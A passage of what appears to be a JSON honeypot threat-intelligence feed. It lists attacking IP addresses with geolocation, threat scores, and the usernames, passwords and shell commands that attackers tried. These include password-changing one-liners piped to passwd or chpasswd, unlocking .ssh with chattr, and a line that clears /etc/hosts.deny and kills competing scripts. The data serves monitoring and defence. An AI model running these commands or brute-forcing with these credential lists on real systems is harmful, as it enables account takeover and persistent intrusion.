        "echo \"123\\njzFbTqsqXJAs\\njzFbTqsqXJAs\\n\"|passwd",
        "echo \"n8n\\nrKbgkNPUH2b8\\nrKbgkNPUH2b8\\n\"|passwd",
        "echo -e \"12345678\\nQqzxmCPnOgHn\\nQqzxmCPnOgHn\"|passwd|bash",
        "echo -e \"12345678\\nco4NMIJ1ljpj\\nco4NMIJ1ljpj\"|passwd|bash",
        "echo -e \"12345\\n8jYFmzSuG9MK\\n8jYFmzSuG9MK\"|passwd|bash",
        "echo -e \"123\\nP6QG0pTA6suQ\\nP6QG0pTA6suQ\"|passwd|bash",
        "echo -e \"123\\njzFbTqsqXJAs\\njzFbTqsqXJAs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 18209,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 682,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:34:36.606000+00:00",
        "last_seen_30d": "2026-03-24T07:07:51.850000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 579,
        "Suricata": 103
      }
    },
    "91.92.243.116": {
      "attack_count": 522,
      "first_seen": "2026-03-30T16:22:08.685Z",
      "last_seen": "2026-03-31T00:40:06.115Z",
      "sessions": 104,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "test",
        "guest"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "password",
        "qwerty",
        "passw0rd",
        "welcome",
        "123456789",
        "admin",
        "letmein",
        "1",
        "12",
        "123",
        "1234",
        "1234567",
        "12345678",
        "1234567890",
        "P@ssw0rd",
        "admin123",
        "guest",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 757,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T16:22:08.685000+00:00",
        "last_seen_30d": "2026-03-31T00:40:06.115000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 522,
        "Suricata": 235
      }
    },
    "116.110.0.222": {
      "attack_count": 454,
      "first_seen": "2026-03-23T12:46:50.185Z",
      "last_seen": "2026-03-23T13:23:49.980Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "cisco",
        "support",
        "test",
        "ubnt",
        "ace",
        "backup",
        "belkinstyle",
        "bin",
        "cf1c22",
        "cpanel",
        "db2inst2",
        "dubai",
        "ftp",
        "george",
        "geral",
        "guest",
        "helpdesk",
        "install"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "123456",
        "P@ssw0rd",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "111111",
        "112233",
        "123",
        "1234",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "@",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcdefg"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 648,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T12:46:50.185000+00:00",
        "last_seen_30d": "2026-03-23T13:24:54.813000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 194
      }
    },
    "190.119.198.81": {
      "attack_count": 450,
      "first_seen": "2026-03-11T19:44:41.580Z",
      "last_seen": "2026-03-16T08:59:29.582Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cristi",
        "devops",
        "elemental",
        "n8n",
        "newusername",
        "astra",
        "awsuser",
        "beehive",
        "cockpit",
        "comp",
        "datacenter",
        "frappeuser",
        "ftpsecure",
        "mama",
        "plex",
        "root",
        "shadow",
        "sinusbot",
        "student"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "password",
        "123456",
        "E1ementa!5",
        "Mama123!",
        "Newusername123!",
        "astra123",
        "awsuser123",
        "cockpit",
        "n8n",
        "root1234!@#$",
        "sinusbot123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nAnjjq1qiUEBA\\nAnjjq1qiUEBA\\n\"|passwd",
        "echo \"123\\naJSsmJpKFH0T\\naJSsmJpKFH0T\\n\"|passwd",
        "echo \"E1ementa!5\\nqyf42HmB7Cv3\\nqyf42HmB7Cv3\\n\"|passwd",
        "echo \"Newusername123!\\nqkJ8i5TyBbNs\\nqkJ8i5TyBbNs\\n\"|passwd",
        "echo \"n8n\\nnZ3xg776Ac2S\\nnZ3xg776Ac2S\\n\"|passwd",
        "echo -e \"123\\nAnjjq1qiUEBA\\nAnjjq1qiUEBA\"|passwd|bash",
        "echo -e \"123\\naJSsmJpKFH0T\\naJSsmJpKFH0T\"|passwd|bash",
        "echo -e \"E1ementa!5\\nqyf42HmB7Cv3\\nqyf42HmB7Cv3\"|passwd|bash",
        "echo -e \"Newusername123!\\nqkJ8i5TyBbNs\\nqkJ8i5TyBbNs\"|passwd|bash",
        "echo -e \"n8n\\nnZ3xg776Ac2S\\nnZ3xg776Ac2S\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:44:41.580000+00:00",
        "last_seen_30d": "2026-03-16T09:00:30.453000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 72
      }
    },
    "27.79.4.92": {
      "attack_count": 407,
      "first_seen": "2026-03-25T14:45:18.117Z",
      "last_seen": "2026-03-25T15:07:59.322Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "support",
        "test",
        "user",
        "anton",
        "belkinstyle",
        "brenda",
        "carol",
        "cf1c22",
        "cpanel",
        "db2inst2",
        "demo",
        "developer",
        "dubai",
        "george",
        "install",
        "joggler",
        "joro"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1234",
        "admin",
        "0987654321",
        "1111",
        "123456789",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin1",
        "administrator",
        "aerohive",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 585,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T14:45:18.117000+00:00",
        "last_seen_30d": "2026-03-25T15:09:06.893000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 407,
        "Suricata": 178
      }
    },
    "217.154.192.185": {
      "attack_count": 386,
      "first_seen": "2026-03-13T15:29:32.149Z",
      "last_seen": "2026-03-20T22:03:31.543Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "mailuser",
        "sasha",
        "app",
        "auser",
        "bench",
        "def",
        "emma",
        "ftpd",
        "g",
        "jagdish",
        "joao",
        "nginx",
        "qwerty",
        "su",
        "team1",
        "temp",
        "terraria",
        "tfserver"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "1234",
        "123456",
        "Terraria123!",
        "app123",
        "def123!",
        "emma",
        "joao123!",
        "nginx1234",
        "pass123",
        "password",
        "qwerty",
        "qwerty1234",
        "sashapass",
        "team1123",
        "temp123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nPX7qesU5gmhD\\nPX7qesU5gmhD\\n\"|passwd",
        "echo \"pass123\\nEaInaEG91Ptd\\nEaInaEG91Ptd\\n\"|passwd",
        "echo \"qwerty\\njF4tM1GcBWDB\\njF4tM1GcBWDB\\n\"|passwd",
        "echo \"sashapass\\nBKV2Q6f0xOKm\\nBKV2Q6f0xOKm\\n\"|passwd",
        "echo -e \"12345678\\nPX7qesU5gmhD\\nPX7qesU5gmhD\"|passwd|bash",
        "echo -e \"pass123\\nEaInaEG91Ptd\\nEaInaEG91Ptd\"|passwd|bash",
        "echo -e \"qwerty\\njF4tM1GcBWDB\\njF4tM1GcBWDB\"|passwd|bash",
        "echo -e \"sashapass\\nBKV2Q6f0xOKm\\nBKV2Q6f0xOKm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 455,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T15:29:32.149000+00:00",
        "last_seen_30d": "2026-03-20T22:04:37.086000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 69
      }
    },
    "103.82.92.202": {
      "attack_count": 376,
      "first_seen": "2026-03-15T04:12:44.841Z",
      "last_seen": "2026-03-23T20:54:09.809Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "francisco",
        "gitlabuser",
        "peer",
        "user1",
        "abc",
        "chat",
        "esuser",
        "gera",
        "hr",
        "info",
        "jitendra",
        "km",
        "lan",
        "mm",
        "omm",
        "remoteuser",
        "root",
        "solr",
        "vintagestory"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123",
        "12345678",
        "Jitendra123",
        "Lan123!",
        "Mm123",
        "Omm123!",
        "P@ssw0rd123",
        "Peer123",
        "hik12345+",
        "hr@123",
        "info123",
        "km",
        "remoteuserpass",
        "solr123",
        "vintagestory123",
        "zxcvbnm,./123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nVgQGLogS6Ci7\\nVgQGLogS6Ci7\\n\"|passwd",
        "echo \"P@ssw0rd123\\nqIOidrNF22I5\\nqIOidrNF22I5\\n\"|passwd",
        "echo \"Peer123\\nE1r7noP5xLrc\\nE1r7noP5xLrc\\n\"|passwd",
        "echo \"password\\nt6rOvNuu45Z4\\nt6rOvNuu45Z4\\n\"|passwd",
        "echo -e \"1234\\nVgQGLogS6Ci7\\nVgQGLogS6Ci7\"|passwd|bash",
        "echo -e \"P@ssw0rd123\\nqIOidrNF22I5\\nqIOidrNF22I5\"|passwd|bash",
        "echo -e \"Peer123\\nE1r7noP5xLrc\\nE1r7noP5xLrc\"|passwd|bash",
        "echo -e \"password\\nt6rOvNuu45Z4\\nt6rOvNuu45Z4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T04:12:44.841000+00:00",
        "last_seen_30d": "2026-03-23T20:55:19.052000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 64
      }
    },
    "5.181.124.224": {
      "attack_count": 376,
      "first_seen": "2026-03-07T10:49:50.269Z",
      "last_seen": "2026-03-09T11:57:05.881Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "nasuser",
        "syncthing",
        "verdaccio",
        "xml",
        "bin",
        "cristi",
        "developer",
        "iot",
        "kishore",
        "lekaren",
        "meng",
        "mohammad",
        "nima",
        "pro",
        "recovery",
        "story",
        "student5",
        "sunshine",
        "test001"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "password",
        "123456",
        "12345678",
        "Meng123",
        "Nasuser123!",
        "bin",
        "cristi123",
        "iot1234",
        "mohammad1234",
        "nima",
        "student5",
        "sunshine123",
        "syncthing"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ngwjdYfK496LE\\ngwjdYfK496LE\\n\"|passwd",
        "echo \"12345\\nefjDInPeLuX3\\nefjDInPeLuX3\\n\"|passwd",
        "echo \"Nasuser123!\\nST6nP0mvpyp0\\nST6nP0mvpyp0\\n\"|passwd",
        "echo \"syncthing\\nMaYrHlIG8TbG\\nMaYrHlIG8TbG\\n\"|passwd",
        "echo -e \"12345678\\ngwjdYfK496LE\\ngwjdYfK496LE\"|passwd|bash",
        "echo -e \"12345\\nefjDInPeLuX3\\nefjDInPeLuX3\"|passwd|bash",
        "echo -e \"Nasuser123!\\nST6nP0mvpyp0\\nST6nP0mvpyp0\"|passwd|bash",
        "echo -e \"syncthing\\nMaYrHlIG8TbG\\nMaYrHlIG8TbG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 443,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T10:49:50.269000+00:00",
        "last_seen_30d": "2026-03-09T11:58:08.021000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 67
      }
    },
    "103.172.205.208": {
      "attack_count": 331,
      "first_seen": "2026-03-06T19:19:19.271Z",
      "last_seen": "2026-03-29T14:33:51.255Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "certftp",
        "paolo",
        "toan",
        "asdf",
        "root11",
        "saad",
        "sri",
        "superadmin",
        "testing",
        "tv"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "12345",
        "123456",
        "@bcd1234",
        "@qwer2024",
        "@qwer2025",
        "Asd@2025",
        "Js.123456",
        "QWERasdf1234",
        "Qwer!1234",
        "Qwer123123",
        "Testing123!",
        "byebye",
        "certftp123!",
        "doraemon",
        "held",
        "paolo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nS7yCl804cEEZ\\nS7yCl804cEEZ\\n\"|passwd",
        "echo \"certftp123!\\nsrYMT8J7P5yv\\nsrYMT8J7P5yv\\n\"|passwd",
        "echo \"root:vZPzXT0K87vd\"|chpasswd|bash",
        "echo -e \"12345678\\nS7yCl804cEEZ\\nS7yCl804cEEZ\"|passwd|bash",
        "echo -e \"certftp123!\\nsrYMT8J7P5yv\\nsrYMT8J7P5yv\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 409,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T19:19:19.271000+00:00",
        "last_seen_30d": "2026-03-29T14:34:56.756000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 78
      }
    },
    "65.20.74.54": {
      "attack_count": 331,
      "first_seen": "2026-03-10T20:39:19.018Z",
      "last_seen": "2026-03-10T21:02:43.492Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "allen",
        "mailuser",
        "sit",
        "student2",
        "clawd",
        "jhpark",
        "linux",
        "root",
        "rstudio",
        "teamcity",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "Allen123!",
        "Lx123456",
        "jhparkpass",
        "linux",
        "password",
        "rstudio123!",
        "student2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nP1i3cpMw6r1i\\nP1i3cpMw6r1i\\n\"|passwd",
        "echo \"123\\n3j6q1nv7pQrt\\n3j6q1nv7pQrt\\n\"|passwd",
        "echo \"Allen123!\\n9Eo0bv1SViB6\\n9Eo0bv1SViB6\\n\"|passwd",
        "echo \"student2\\nHOQhI9rUA1eJ\\nHOQhI9rUA1eJ\\n\"|passwd",
        "echo -e \"12345678\\nP1i3cpMw6r1i\\nP1i3cpMw6r1i\"|passwd|bash",
        "echo -e \"123\\n3j6q1nv7pQrt\\n3j6q1nv7pQrt\"|passwd|bash",
        "echo -e \"Allen123!\\n9Eo0bv1SViB6\\n9Eo0bv1SViB6\"|passwd|bash",
        "echo -e \"student2\\nHOQhI9rUA1eJ\\nHOQhI9rUA1eJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:39:19.018000+00:00",
        "last_seen_30d": "2026-03-10T21:03:45.200000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 43
      }
    },
    "146.190.109.141": {
      "attack_count": 280,
      "first_seen": "2026-03-02T00:00:06.212Z",
      "last_seen": "2026-03-02T00:40:36.085Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "user",
        "test",
        "guest",
        "pi",
        "ubuntu",
        "oracle"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "qwerty",
        "12345",
        "guest",
        "welcome",
        "Guest123",
        "Test123",
        "Ubuntu123",
        "User123",
        "anonymous",
        "changeme",
        "guest123",
        "guest@123",
        "guestpass",
        "letmein",
        "oracle",
        "oracle123",
        "p@ssw0rd",
        "passw0rd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:06.212000+00:00",
        "last_seen_30d": "2026-03-02T00:40:55.468000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 120
      }
    },
    "157.245.111.84": {
      "attack_count": 278,
      "first_seen": "2026-03-09T05:33:54.256Z",
      "last_seen": "2026-03-09T06:24:01.815Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "000000",
        "123",
        "1q2w3e4r",
        "654321",
        "admin",
        "Admin123",
        "admin123",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 395,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T05:33:54.256000+00:00",
        "last_seen_30d": "2026-03-09T06:25:04.065000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 278,
        "Suricata": 117
      }
    },
    "185.196.10.248": {
      "attack_count": 267,
